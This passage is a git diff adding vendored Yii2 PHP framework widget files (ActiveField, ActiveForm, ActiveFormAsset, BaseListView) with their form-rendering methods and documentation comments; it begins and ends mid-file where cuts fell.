[[Html::encode()]]. + * + * The following options are specially handled: + * + * - tag: this specifies the tag name. If not set, "div" will be used. + * + * @return static the field object itself + */ + public function hint($content, $options = []) + { + $options = array_merge($this->hintOptions, $options); + $tag = ArrayHelper::remove($options, 'tag', 'div'); + $this->parts['{hint}'] = Html::tag($tag, $content, $options); + + return $this; + } + + /** + * Renders an input tag. + * @param string $type the input type (e.g. 'text', 'password') + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[Html::encode()]]. + * @return static the field object itself + */ + public function input($type, $options = []) + { + $options = array_merge($this->inputOptions, $options); + $this->adjustLabelFor($options); + $this->parts['{input}'] = Html::activeInput($type, $this->model, $this->attribute, $options); + + return $this; + } + + /** + * Renders a text input. + * This method will generate the "name" and "value" tag attributes automatically for the model attribute + * unless they are explicitly specified in `$options`. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[Html::encode()]]. + * @return static the field object itself + */ + public function textInput($options = []) + { + $options = array_merge($this->inputOptions, $options); + $this->adjustLabelFor($options); + $this->parts['{input}'] = Html::activeTextInput($this->model, $this->attribute, $options); + + return $this; + } + + /** + * Renders a hidden input. + * + * Note that this method is provided for completeness. In most cases because you do not need + * to validate a hidden input, you should not need to use this method. Instead, you should + * use [[\yii\helpers\Html::activeHiddenInput()]]. + * + * This method will generate the "name" and "value" tag attributes automatically for the model attribute + * unless they are explicitly specified in `$options`. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[Html::encode()]]. + * @return static the field object itself + */ + public function hiddenInput($options = []) + { + $options = array_merge($this->inputOptions, $options); + $this->adjustLabelFor($options); + $this->parts['{input}'] = Html::activeHiddenInput($this->model, $this->attribute, $options); + + return $this; + } + + /** + * Renders a password input. + * This method will generate the "name" and "value" tag attributes automatically for the model attribute + * unless they are explicitly specified in `$options`. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[Html::encode()]]. + * @return static the field object itself + */ + public function passwordInput($options = []) + { + $options = array_merge($this->inputOptions, $options); + $this->adjustLabelFor($options); + $this->parts['{input}'] = Html::activePasswordInput($this->model, $this->attribute, $options); + + return $this; + } + + /** + * Renders a file input. + * This method will generate the "name" and "value" tag attributes automatically for the model attribute + * unless they are explicitly specified in `$options`. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[Html::encode()]]. + * @return static the field object itself + */ + public function fileInput($options = []) + { + // https://github.com/yiisoft/yii2/pull/795 + if ($this->inputOptions !== ['class' => 'form-control']) { + $options = array_merge($this->inputOptions, $options); + } + $this->adjustLabelFor($options); + $this->parts['{input}'] = Html::activeFileInput($this->model, $this->attribute, $options); + + return $this; + } + + /** + * Renders a text area. + * The model attribute value will be used as the content in the textarea. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the resulting tag. The values will be HTML-encoded using [[Html::encode()]]. + * @return static the field object itself + */ + public function textarea($options = []) + { + $options = array_merge($this->inputOptions, $options); + $this->adjustLabelFor($options); + $this->parts['{input}'] = Html::activeTextarea($this->model, $this->attribute, $options); + + return $this; + } + + /** + * Renders a radio button. + * This method will generate the "checked" tag attribute according to the model attribute value. + * @param array $options the tag options in terms of name-value pairs. The following options are specially handled: + * + * - uncheck: string, the value associated with the uncheck state of the radio button. If not set, + * it will take the default value '0'. This method will render a hidden input so that if the radio button + * is not checked and is submitted, the value of this attribute will still be submitted to the server + * via the hidden input. + * - label: string, a label displayed next to the radio button. It will NOT be HTML-encoded. Therefore you can pass + * in HTML code such as an image tag. If this is is coming from end users, you should [[Html::encode()]] it to prevent XSS attacks. + * When this option is specified, the radio button will be enclosed by a label tag. + * - labelOptions: array, the HTML attributes for the label tag. This is only used when the "label" option is specified. + * + * The rest of the options will be rendered as the attributes of the resulting tag. The values will + * be HTML-encoded using [[Html::encode()]]. If a value is null, the corresponding attribute will not be rendered. + * @param boolean $enclosedByLabel whether to enclose the radio within the label. + * If true, the method will still use [[template]] to layout the checkbox and the error message + * except that the radio is enclosed by the label tag. + * @return static the field object itself + */ + public function radio($options = [], $enclosedByLabel = true) + { + if ($enclosedByLabel) { + $this->parts['{input}'] = Html::activeRadio($this->model, $this->attribute, $options); + $this->parts['{label}'] = ''; + } else { + if (isset($options['label']) && !isset($this->parts['{label}'])) { + $this->parts['{label}'] = $options['label']; + if (!empty($options['labelOptions'])) { + $this->labelOptions = $options['labelOptions']; + } + } + unset($options['label'], $options['labelOptions']); + $this->parts['{input}'] = Html::activeRadio($this->model, $this->attribute, $options); + } + $this->adjustLabelFor($options); + + return $this; + } + + /** + * Renders a checkbox. + * This method will generate the "checked" tag attribute according to the model attribute value. + * @param array $options the tag options in terms of name-value pairs. The following options are specially handled: + * + * - uncheck: string, the value associated with the uncheck state of the radio button. If not set, + * it will take the default value '0'. This method will render a hidden input so that if the radio button + * is not checked and is submitted, the value of this attribute will still be submitted to the server + * via the hidden input. + * - label: string, a label displayed next to the checkbox. It will NOT be HTML-encoded. Therefore you can pass + * in HTML code such as an image tag. If this is is coming from end users, you should [[Html::encode()]] it to prevent XSS attacks. + * When this option is specified, the checkbox will be enclosed by a label tag. + * - labelOptions: array, the HTML attributes for the label tag. This is only used when the "label" option is specified. + * + * The rest of the options will be rendered as the attributes of the resulting tag. The values will + * be HTML-encoded using [[Html::encode()]]. If a value is null, the corresponding attribute will not be rendered. + * @param boolean $enclosedByLabel whether to enclose the checkbox within the label. + * If true, the method will still use [[template]] to layout the checkbox and the error message + * except that the checkbox is enclosed by the label tag. + * @return static the field object itself + */ + public function checkbox($options = [], $enclosedByLabel = true) + { + if ($enclosedByLabel) { + $this->parts['{input}'] = Html::activeCheckbox($this->model, $this->attribute, $options); + $this->parts['{label}'] = ''; + } else { + if (isset($options['label']) && !isset($this->parts['{label}'])) { + $this->parts['{label}'] = $options['label']; + if (!empty($options['labelOptions'])) { + $this->labelOptions = $options['labelOptions']; + } + } + unset($options['labelOptions']); + $options['label'] = null; + $this->parts['{input}'] = Html::activeCheckbox($this->model, $this->attribute, $options); + } + $this->adjustLabelFor($options); + + return $this; + } + + /** + * Renders a drop-down list. + * The selection of the drop-down list is taken from the value of the model attribute. + * @param array $items the option data items. The array keys are option values, and the array values + * are the corresponding option labels. The array can also be nested (i.e. some array values are arrays too). + * For each sub-array, an option group will be generated whose label is the key associated with the sub-array. + * If you have a list of data models, you may convert them into the format described above using + * [[ArrayHelper::map()]]. + * + * Note, the values and labels will be automatically HTML-encoded by this method, and the blank spaces in + * the labels will also be HTML-encoded. + * @param array $options the tag options in terms of name-value pairs. The following options are specially handled: + * + * - prompt: string, a prompt text to be displayed as the first option; + * - options: array, the attributes for the select option tags. The array keys must be valid option values, + * and the array values are the extra attributes for the corresponding option tags. For example, + * + * ~~~ + * [ + * 'value1' => ['disabled' => true], + * 'value2' => ['label' => 'value 2'], + * ]; + * ~~~ + * + * - groups: array, the attributes for the optgroup tags. The structure of this is similar to that of 'options', + * except that the array keys represent the optgroup labels specified in $items. + * + * The rest of the options will be rendered as the attributes of the resulting tag. The values will + * be HTML-encoded using [[Html::encode()]]. If a value is null, the corresponding attribute will not be rendered. + * + * @return static the field object itself + */ + public function dropDownList($items, $options = []) + { + $options = array_merge($this->inputOptions, $options); + $this->adjustLabelFor($options); + $this->parts['{input}'] = Html::activeDropDownList($this->model, $this->attribute, $items, $options); + + return $this; + } + + /** + * Renders a list box. + * The selection of the list box is taken from the value of the model attribute. + * @param array $items the option data items. The array keys are option values, and the array values + * are the corresponding option labels. The array can also be nested (i.e. some array values are arrays too). + * For each sub-array, an option group will be generated whose label is the key associated with the sub-array. + * If you have a list of data models, you may convert them into the format described above using + * [[\yii\helpers\ArrayHelper::map()]]. + * + * Note, the values and labels will be automatically HTML-encoded by this method, and the blank spaces in + * the labels will also be HTML-encoded. + * @param array $options the tag options in terms of name-value pairs. The following options are specially handled: + * + * - prompt: string, a prompt text to be displayed as the first option; + * - options: array, the attributes for the select option tags. The array keys must be valid option values, + * and the array values are the extra attributes for the corresponding option tags. For example, + * + * ~~~ + * [ + * 'value1' => ['disabled' => true], + * 'value2' => ['label' => 'value 2'], + * ]; + * ~~~ + * + * - groups: array, the attributes for the optgroup tags. The structure of this is similar to that of 'options', + * except that the array keys represent the optgroup labels specified in $items. + * - unselect: string, the value that will be submitted when no option is selected. + * When this attribute is set, a hidden field will be generated so that if no option is selected in multiple + * mode, we can still obtain the posted unselect value. + * + * The rest of the options will be rendered as the attributes of the resulting tag. The values will + * be HTML-encoded using [[Html::encode()]]. If a value is null, the corresponding attribute will not be rendered. + * + * @return static the field object itself + */ + public function listBox($items, $options = []) + { + $options = array_merge($this->inputOptions, $options); + $this->adjustLabelFor($options); + $this->parts['{input}'] = Html::activeListBox($this->model, $this->attribute, $items, $options); + + return $this; + } + + /** + * Renders a list of checkboxes. + * A checkbox list allows multiple selection, like [[listBox()]]. + * As a result, the corresponding submitted value is an array. + * The selection of the checkbox list is taken from the value of the model attribute. + * @param array $items the data item used to generate the checkboxes. + * The array values are the labels, while the array keys are the corresponding checkbox values. + * Note that the labels will NOT be HTML-encoded, while the values will. + * @param array $options options (name => config) for the checkbox list. The following options are specially handled: + * + * - unselect: string, the value that should be submitted when none of the checkboxes is selected. + * By setting this option, a hidden input will be generated. + * - separator: string, the HTML code that separates items. + * - item: callable, a callback that can be used to customize the generation of the HTML code + * corresponding to a single item in $items. The signature of this callback must be: + * + * ~~~ + * function ($index, $label, $name, $checked, $value) + * ~~~ + * + * where $index is the zero-based index of the checkbox in the whole list; $label + * is the label for the checkbox; and $name, $value and $checked represent the name, + * value and the checked status of the checkbox input. + * @return static the field object itself + */ + public function checkboxList($items, $options = []) + { + $this->adjustLabelFor($options); + $this->parts['{input}'] = Html::activeCheckboxList($this->model, $this->attribute, $items, $options); + + return $this; + } + + /** + * Renders a list of radio buttons. + * A radio button list is like a checkbox list, except that it only allows single selection. + * The selection of the radio buttons is taken from the value of the model attribute. + * @param array $items the data item used to generate the radio buttons. + * The array values are the labels, while the array keys are the corresponding radio values. + * Note that the labels will NOT be HTML-encoded, while the values will. + * @param array $options options (name => config) for the radio button list. The following options are specially handled: + * + * - unselect: string, the value that should be submitted when none of the radio buttons is selected. + * By setting this option, a hidden input will be generated. + * - separator: string, the HTML code that separates items. + * - item: callable, a callback that can be used to customize the generation of the HTML code + * corresponding to a single item in $items. The signature of this callback must be: + * + * ~~~ + * function ($index, $label, $name, $checked, $value) + * ~~~ + * + * where $index is the zero-based index of the radio button in the whole list; $label + * is the label for the radio button; and $name, $value and $checked represent the name, + * value and the checked status of the radio button input. + * @return static the field object itself + */ + public function radioList($items, $options = []) + { + $this->adjustLabelFor($options); + $this->parts['{input}'] = Html::activeRadioList($this->model, $this->attribute, $items, $options); + + return $this; + } + + /** + * Renders a widget as the input of the field. + * + * Note that the widget must have both `model` and `attribute` properties. They will + * be initialized with [[model]] and [[attribute]] of this field, respectively. + * + * If you want to use a widget that does not have `model` and `attribute` properties, + * please use [[render()]] instead. + * + * For example to use the [[MaskedInput]] widget to get some date input, you can use + * the following code, assuming that `$form` is your [[ActiveForm]] instance: + * + * ```php + * $form->field($model, 'date')->widget(\yii\widgets\MaskedInput::className(), [ + * 'mask' => '99/99/9999', + * ]); + * ``` + * + * @param string $class the widget class name + * @param array $config name-value pairs that will be used to initialize the widget + * @return static the field object itself + */ + public function widget($class, $config = []) + { + /* @var $class \yii\base\Widget */ + $config['model'] = $this->model; + $config['attribute'] = $this->attribute; + $config['view'] = $this->form->getView(); + $this->parts['{input}'] = $class::widget($config); + + return $this; + } + + /** + * Adjusts the "for" attribute for the label based on the input options. + * @param array $options the input options + */ + protected function adjustLabelFor($options) + { + if (isset($options['id']) && !isset($this->labelOptions['for'])) { + $this->labelOptions['for'] = $options['id']; + } + } + + /** + * Returns the JS options for the field. + * @return array the JS options + */ + protected function getClientOptions() + { + $attribute = Html::getAttributeName($this->attribute); + if (!in_array($attribute, $this->model->activeAttributes(), true)) { + return []; + } + + $enableClientValidation = $this->enableClientValidation || $this->enableClientValidation === null && $this->form->enableClientValidation; + $enableAjaxValidation = $this->enableAjaxValidation || $this->enableAjaxValidation === null && $this->form->enableAjaxValidation; + + if ($enableClientValidation) { + $validators = []; + foreach ($this->model->getActiveValidators($attribute) as $validator) { + /* @var $validator \yii\validators\Validator */ + $js = $validator->clientValidateAttribute($this->model, $attribute, $this->form->getView()); + if ($validator->enableClientValidation && $js != '') { + if ($validator->whenClient !== null) { + $js = "if ({$validator->whenClient}(attribute, value)) { $js }"; + } + $validators[] = $js; + } + } + } + + if (!$enableAjaxValidation && (!$enableClientValidation || empty($validators))) { + return []; + } + + $options = []; + + $inputID = Html::getInputId($this->model, $this->attribute); + $options['id'] = $inputID; + $options['name'] = $this->attribute; + + $options['container'] = isset($this->selectors['container']) ? $this->selectors['container'] : ".field-$inputID"; + $options['input'] = isset($this->selectors['input']) ? $this->selectors['input'] : "#$inputID"; + if (isset($this->selectors['error'])) { + $options['error'] = $this->selectors['error']; + } elseif (isset($this->errorOptions['class'])) { + $options['error'] = '.' . implode('.', preg_split('/\s+/', $this->errorOptions['class'], -1, PREG_SPLIT_NO_EMPTY)); + } else { + $options['error'] = isset($this->errorOptions['tag']) ? $this->errorOptions['tag'] : 'span'; + } + + $options['encodeError'] = !isset($this->errorOptions['encode']) || !$this->errorOptions['encode']; + if ($enableAjaxValidation) { + $options['enableAjaxValidation'] = true; + } + foreach (['validateOnChange', 'validateOnBlur', 'validateOnType', 'validationDelay'] as $name) { + $options[$name] = $this->$name === null ? $this->form->$name : $this->$name; + } + + if (!empty($validators)) { + $options['validate'] = new JsExpression("function (attribute, value, messages, deferred) {" . implode('', $validators) . '}'); + } + + // only get the options that are different from the default ones (set in yii.activeForm.js) + return array_diff_assoc($options, [ + 'validateOnChange' => true, + 'validateOnBlur' => true, + 'validateOnType' => false, + 'validationDelay' => 500, + 'encodeError' => true, + 'error' => '.help-block', + ]); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/widgets/ActiveForm.php b/php/yii2/basic/vendor/yiisoft/yii2/widgets/ActiveForm.php new file mode 100644 index 00000000..49990e3a --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/widgets/ActiveForm.php @@ -0,0 +1,407 @@ + + * @since 2.0 + */ +class ActiveForm extends Widget +{ + /** + * @param array|string $action the form action URL. This parameter will be processed by [[\yii\helpers\Url::to()]]. + * @see method for specifying the HTTP method for this form. + */ + public $action = ''; + /** + * @var string the form submission method. This should be either 'post' or 'get'. Defaults to 'post'. + * + * When you set this to 'get' you may see the url parameters repeated on each request. + * This is because the default value of [[action]] is set to be the current request url and each submit + * will add new parameters instead of replacing existing ones. + * You may set [[action]] explicitly to avoid this: + * + * ```php + * $form = ActiveForm::begin([ + * 'method' => 'get', + * 'action' => ['controller/action'], + * ]); + * ``` + */ + public $method = 'post'; + /** + * @var array the HTML attributes (name-value pairs) for the form tag. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $options = []; + /** + * @var string the default field class name when calling [[field()]] to create a new field. + * @see fieldConfig + */ + public $fieldClass = 'yii\widgets\ActiveField'; + /** + * @var array|\Closure the default configuration used by [[field()]] when creating a new field object. + * This can be either a configuration array or an anonymous function returning a configuration array. + * If the latter, the signature should be as follows, + * + * ```php + * function ($model, $attribute) + * ``` + * + * The value of this property will be merged recursively with the `$options` parameter passed to [[field()]]. + * + * @see fieldClass + */ + public $fieldConfig = []; + /** + * @var boolean whether to perform encoding on the error summary. + */ + public $encodeErrorSummary = true; + /** + * @var string the default CSS class for the error summary container. + * @see errorSummary() + */ + public $errorSummaryCssClass = 'error-summary'; + /** + * @var string the CSS class that is added to a field container when the associated attribute is required. + */ + public $requiredCssClass = 'required'; + /** + * @var string the CSS class that is added to a field container when the associated attribute has validation error. + */ + public $errorCssClass = 'has-error'; + /** + * @var string the CSS class that is added to a field container when the associated attribute is successfully validated. + */ + public $successCssClass = 'has-success'; + /** + * @var string the CSS class that is added to a field container when the associated attribute is being validated. + */ + public $validatingCssClass = 'validating'; + /** + * @var boolean whether to enable client-side data validation. + * If [[ActiveField::enableClientValidation]] is set, its value will take precedence for that input field. + */ + public $enableClientValidation = true; + /** + * @var boolean whether to enable AJAX-based data validation. + * If [[ActiveField::enableAjaxValidation]] is set, its value will take precedence for that input field. + */ + public $enableAjaxValidation = false; + /** + * @var boolean whether to hook up yii.activeForm JavaScript plugin. + * This property must be set true if you want to support client validation and/or AJAX validation, or if you + * want to take advantage of the yii.activeForm plugin. When this is false, the form will not generate + * any JavaScript. + */ + public $enableClientScript = true; + /** + * @var array|string the URL for performing AJAX-based validation. This property will be processed by + * [[Url::to()]]. Please refer to [[Url::to()]] for more details on how to configure this property. + * If this property is not set, it will take the value of the form's action attribute. + */ + public $validationUrl; + /** + * @var boolean whether to perform validation when the form is submitted. + */ + public $validateOnSubmit = true; + /** + * @var boolean whether to perform validation when the value of an input field is changed. + * If [[ActiveField::validateOnChange]] is set, its value will take precedence for that input field. + */ + public $validateOnChange = true; + /** + * @var boolean whether to perform validation when an input field loses focus. + * If [[ActiveField::$validateOnBlur]] is set, its value will take precedence for that input field. + */ + public $validateOnBlur = true; + /** + * @var boolean whether to perform validation while the user is typing in an input field. + * If [[ActiveField::validateOnType]] is set, its value will take precedence for that input field. + * @see validationDelay + */ + public $validateOnType = false; + /** + * @var integer number of milliseconds that the validation should be delayed when the user types in the field + * and [[validateOnType]] is set true. + * If [[ActiveField::validationDelay]] is set, its value will take precedence for that input field. + */ + public $validationDelay = 500; + /** + * @var string the name of the GET parameter indicating the validation request is an AJAX request. + */ + public $ajaxParam = 'ajax'; + /** + * @var string the type of data that you're expecting back from the server. + */ + public $ajaxDataType = 'json'; + /** + * @var array the client validation options for individual attributes. Each element of the array + * represents the validation options for a particular attribute. + * @internal + */ + public $attributes = []; + /** + * @var ActiveField[] the ActiveField objects that are currently active + */ + private $_fields = []; + + + /** + * Initializes the widget. + * This renders the form open tag. + */ + public function init() + { + if (!isset($this->options['id'])) { + $this->options['id'] = $this->getId(); + } + echo Html::beginForm($this->action, $this->method, $this->options); + } + + /** + * Runs the widget. + * This registers the necessary javascript code and renders the form close tag. + * @throws InvalidCallException if `beginField()` and `endField()` calls are not matching + */ + public function run() + { + if (!empty($this->_fields)) { + throw new InvalidCallException('Each beginField() should have a matching endField() call.'); + } + + if ($this->enableClientScript) { + $id = $this->options['id']; + $options = Json::encode($this->getClientOptions()); + $attributes = Json::encode($this->attributes); + $view = $this->getView(); + ActiveFormAsset::register($view); + $view->registerJs("jQuery('#$id').yiiActiveForm($attributes, $options);"); + } + + echo Html::endForm(); + } + + /** + * Returns the options for the form JS widget. + * @return array the options + */ + protected function getClientOptions() + { + $options = [ + 'encodeErrorSummary' => $this->encodeErrorSummary, + 'errorSummary' => '.' . implode('.', preg_split('/\s+/', $this->errorSummaryCssClass, -1, PREG_SPLIT_NO_EMPTY)), + 'validateOnSubmit' => $this->validateOnSubmit, + 'errorCssClass' => $this->errorCssClass, + 'successCssClass' => $this->successCssClass, + 'validatingCssClass' => $this->validatingCssClass, + 'ajaxParam' => $this->ajaxParam, + 'ajaxDataType' => $this->ajaxDataType, + ]; + if ($this->validationUrl !== null) { + $options['validationUrl'] = Url::to($this->validationUrl); + } + + // only get the options that are different from the default ones (set in yii.activeForm.js) + return array_diff_assoc($options, [ + 'encodeErrorSummary' => true, + 'errorSummary' => '.error-summary', + 'validateOnSubmit' => true, + 'errorCssClass' => 'has-error', + 'successCssClass' => 'has-success', + 'validatingCssClass' => 'validating', + 'ajaxParam' => 'ajax', + 'ajaxDataType' => 'json', + ]); + } + + /** + * Generates a summary of the validation errors. + * If there is no validation error, an empty error summary markup will still be generated, but it will be hidden. + * @param Model|Model[] $models the model(s) associated with this form + * @param array $options the tag options in terms of name-value pairs. The following options are specially handled: + * + * - header: string, the header HTML for the error summary. If not set, a default prompt string will be used. + * - footer: string, the footer HTML for the error summary. + * + * The rest of the options will be rendered as the attributes of the container tag. The values will + * be HTML-encoded using [[\yii\helpers\Html::encode()]]. If a value is null, the corresponding attribute will not be rendered. + * @return string the generated error summary + * @see errorSummaryCssClass + */ + public function errorSummary($models, $options = []) + { + Html::addCssClass($options, $this->errorSummaryCssClass); + $options['encode'] = $this->encodeErrorSummary; + return Html::errorSummary($models, $options); + } + + /** + * Generates a form field. + * A form field is associated with a model and an attribute. It contains a label, an input and an error message + * and use them to interact with end users to collect their inputs for the attribute. + * @param Model $model the data model + * @param string $attribute the attribute name or expression. See [[Html::getAttributeName()]] for the format + * about attribute expression. + * @param array $options the additional configurations for the field object + * @return ActiveField the created ActiveField object + * @see fieldConfig + */ + public function field($model, $attribute, $options = []) + { + $config = $this->fieldConfig; + if ($config instanceof \Closure) { + $config = call_user_func($config, $model, $attribute); + } + if (!isset($config['class'])) { + $config['class'] = $this->fieldClass; + } + return Yii::createObject(ArrayHelper::merge($config, $options, [ + 'model' => $model, + 'attribute' => $attribute, + 'form' => $this, + ])); + } + + /** + * Begins a form field. + * This method will create a new form field and returns its opening tag. + * You should call [[endField()]] afterwards. + * @param Model $model the data model + * @param string $attribute the attribute name or expression. See [[Html::getAttributeName()]] for the format + * about attribute expression. + * @param array $options the additional configurations for the field object + * @return string the opening tag + * @see endField() + * @see field() + */ + public function beginField($model, $attribute, $options = []) + { + $field = $this->field($model, $attribute, $options); + $this->_fields[] = $field; + return $field->begin(); + } + + /** + * Ends a form field. + * This method will return the closing tag of an active form field started by [[beginField()]]. + * @return string the closing tag of the form field + * @throws InvalidCallException if this method is called without a prior [[beginField()]] call. + */ + public function endField() + { + $field = array_pop($this->_fields); + if ($field instanceof ActiveField) { + return $field->end(); + } else { + throw new InvalidCallException('Mismatching endField() call.'); + } + } + + /** + * Validates one or several models and returns an error message array indexed by the attribute IDs. + * This is a helper method that simplifies the way of writing AJAX validation code. + * + * For example, you may use the following code in a controller action to respond + * to an AJAX validation request: + * + * ~~~ + * $model = new Post; + * $model->load($_POST); + * if (Yii::$app->request->isAjax) { + * Yii::$app->response->format = Response::FORMAT_JSON; + * return ActiveForm::validate($model); + * } + * // ... respond to non-AJAX request ... + * ~~~ + * + * To validate multiple models, simply pass each model as a parameter to this method, like + * the following: + * + * ~~~ + * ActiveForm::validate($model1, $model2, ...); + * ~~~ + * + * @param Model $model the model to be validated + * @param mixed $attributes list of attributes that should be validated. + * If this parameter is empty, it means any attribute listed in the applicable + * validation rules should be validated. + * + * When this method is used to validate multiple models, this parameter will be interpreted + * as a model. + * + * @return array the error message array indexed by the attribute IDs. + */ + public static function validate($model, $attributes = null) + { + $result = []; + if ($attributes instanceof Model) { + // validating multiple models + $models = func_get_args(); + $attributes = null; + } else { + $models = [$model]; + } + /* @var $model Model */ + foreach ($models as $model) { + $model->validate($attributes); + foreach ($model->getErrors() as $attribute => $errors) { + $result[Html::getInputId($model, $attribute)] = $errors; + } + } + + return $result; + } + + /** + * Validates an array of model instances and returns an error message array indexed by the attribute IDs. + * This is a helper method that simplifies the way of writing AJAX validation code for tabular input. + * + * For example, you may use the following code in a controller action to respond + * to an AJAX validation request: + * + * ~~~ + * // ... load $models ... + * if (Yii::$app->request->isAjax) { + * Yii::$app->response->format = Response::FORMAT_JSON; + * return ActiveForm::validateMultiple($models); + * } + * // ... respond to non-AJAX request ... + * ~~~ + * + * @param array $models an array of models to be validated. + * @param mixed $attributes list of attributes that should be validated. + * If this parameter is empty, it means any attribute listed in the applicable + * validation rules should be validated. + * @return array the error message array indexed by the attribute IDs. + */ + public static function validateMultiple($models, $attributes = null) + { + $result = []; + /* @var $model Model */ + foreach ($models as $i => $model) { + $model->validate($attributes); + foreach ($model->getErrors() as $attribute => $errors) { + $result[Html::getInputId($model, "[$i]" . $attribute)] = $errors; + } + } + + return $result; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/widgets/ActiveFormAsset.php b/php/yii2/basic/vendor/yiisoft/yii2/widgets/ActiveFormAsset.php new file mode 100644 index 00000000..97160631 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/widgets/ActiveFormAsset.php @@ -0,0 +1,25 @@ + + * @since 2.0 + */ +class ActiveFormAsset extends AssetBundle +{ + public $sourcePath = '@yii/assets'; + public $js = [ + 'yii.activeForm.js', + ]; + public $depends = [ + 'yii\web\YiiAsset', + ]; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/widgets/BaseListView.php b/php/yii2/basic/vendor/yiisoft/yii2/widgets/BaseListView.php new file mode 100644 index 00000000..3dc5bc73 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/widgets/BaseListView.php @@ -0,0 +1,252 @@ + + * @since 2.0 + */ +abstract class BaseListView extends Widget +{ + /** + * @var array the HTML attributes for the container tag of the list view. + * The "tag" element specifies the tag name of the container element and defaults to "div". + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $options = []; + /** + * @var \yii\data\DataProviderInterface the data provider for the view. This property is required. + */ + public $dataProvider; + /** + * @var array the configuration for the pager widget. By default, [[LinkPager]] will be + * used to render the pager. You can use a different widget class by configuring the "class" element. + */ + public $pager = []; + /** + * @var array the configuration for the sorter widget. By default, [[LinkSorter]] will be + * used to render the sorter. You can use a different widget class by configuring the "class" element. + */ + public $sorter = []; + /** + * @var string the HTML content to be displayed as the summary of the list view. + * If you do not want to show the summary, you may set it with an empty string. + * + * The following tokens will be replaced with the corresponding values: + * + * - `{begin}`: the starting row number (1-based) currently being displayed + * - `{end}`: the ending row number (1-based) currently being displayed + * - `{count}`: the number of rows currently being displayed + * - `{totalCount}`: the total number of rows available + * - `{page}`: the page number (1-based) current being displayed + * - `{pageCount}`: the number of pages available + */ + public $summary; + /** + * @var array the HTML attributes for the summary of the list view. + * The "tag" element specifies the tag name of the summary element and defaults to "div". + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $summaryOptions = ['class' => 'summary']; + /** + * @var boolean whether to show the list view if [[dataProvider]] returns no data. + */ + public $showOnEmpty = false; + /** + * @var string the HTML content to be displayed when [[dataProvider]] does not have any data. + */ + public $emptyText; + /** + * @var array the HTML attributes for the emptyText of the list view. + * The "tag" element specifies the tag name of the emptyText element and defaults to "div". + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $emptyTextOptions = ['class' => 'empty']; + /** + * @var string the layout that determines how different sections of the list view should be organized. + * The following tokens will be replaced with the corresponding section contents: + * + * - `{summary}`: the summary section. See [[renderSummary()]]. + * - `{items}`: the list items. See [[renderItems()]]. + * - `{sorter}`: the sorter. See [[renderSorter()]]. + * - `{pager}`: the pager. See [[renderPager()]]. + */ + public $layout = "{summary}\n{items}\n{pager}"; + + + /** + * Renders the data models. + * @return string the rendering result. + */ + abstract public function renderItems(); + + /** + * Initializes the view. + */ + public function init() + { + if ($this->dataProvider === null) { + throw new InvalidConfigException('The "dataProvider" property must be set.'); + } + if ($this->emptyText === null) { + $this->emptyText = Yii::t('yii', 'No results found.'); + } + if (!isset($this->options['id'])) { + $this->options['id'] = $this->getId(); + } + } + + /** + * Runs the widget. + */ + public function run() + { + if ($this->dataProvider->getCount() > 0 || $this->showOnEmpty) { + $content = preg_replace_callback("/{\\w+}/", function ($matches) { + $content = $this->renderSection($matches[0]); + + return $content === false ? $matches[0] : $content; + }, $this->layout); + } else { + $content = $this->renderEmpty(); + } + $tag = ArrayHelper::remove($this->options, 'tag', 'div'); + echo Html::tag($tag, $content, $this->options); + } + + /** + * Renders a section of the specified name. + * If the named section is not supported, false will be returned. + * @param string $name the section name, e.g., `{summary}`, `{items}`. + * @return string|boolean the rendering result of the section, or false if the named section is not supported. + */ + public function renderSection($name) + { + switch ($name) { + case '{summary}': + return $this->renderSummary(); + case '{items}': + return $this->renderItems(); + case '{pager}': + return $this->renderPager(); + case '{sorter}': + return $this->renderSorter(); + default: + return false; + } + } + + /** + * Renders the HTML content indicating that the list view has no data. + * @return string the rendering result + * @see emptyText + */ + public function renderEmpty() + { + $tag = ArrayHelper::remove($this->emptyTextOptions, 'tag', 'div'); + return Html::tag($tag, ($this->emptyText === null ? Yii::t('yii', 'No results found.') : $this->emptyText), $this->emptyTextOptions); + } + + /** + * Renders the summary text. + */ + public function renderSummary() + { + $count = $this->dataProvider->getCount(); + if ($count <= 0) { + return ''; + } + $tag = ArrayHelper::remove($this->summaryOptions, 'tag', 'div'); + if (($pagination = $this->dataProvider->getPagination()) !== false) { + $totalCount = $this->dataProvider->getTotalCount(); + $begin = $pagination->getPage() * $pagination->pageSize + 1; + $end = $begin + $count - 1; + if ($begin > $end) { + $begin = $end; + } + $page = $pagination->getPage() + 1; + $pageCount = $pagination->pageCount; + if (($summaryContent = $this->summary) === null) { + return Html::tag($tag, Yii::t('yii', 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.', [ + 'begin' => $begin, + 'end' => $end, + 'count' => $count, + 'totalCount' => $totalCount, + 'page' => $page, + 'pageCount' => $pageCount, + ]), $this->summaryOptions); + } + } else { + $begin = $page = $pageCount = 1; + $end = $totalCount = $count; + if (($summaryContent = $this->summary) === null) { + return Html::tag($tag, Yii::t('yii', 'Total {count, number} {count, plural, one{item} other{items}}.', [ + 'begin' => $begin, + 'end' => $end, + 'count' => $count, + 'totalCount' => $totalCount, + 'page' => $page, + 'pageCount' => $pageCount, + ]), $this->summaryOptions); + } + } + + return Yii::$app->getI18n()->format($summaryContent, [ + 'begin' => $begin, + 'end' => $end, + 'count' => 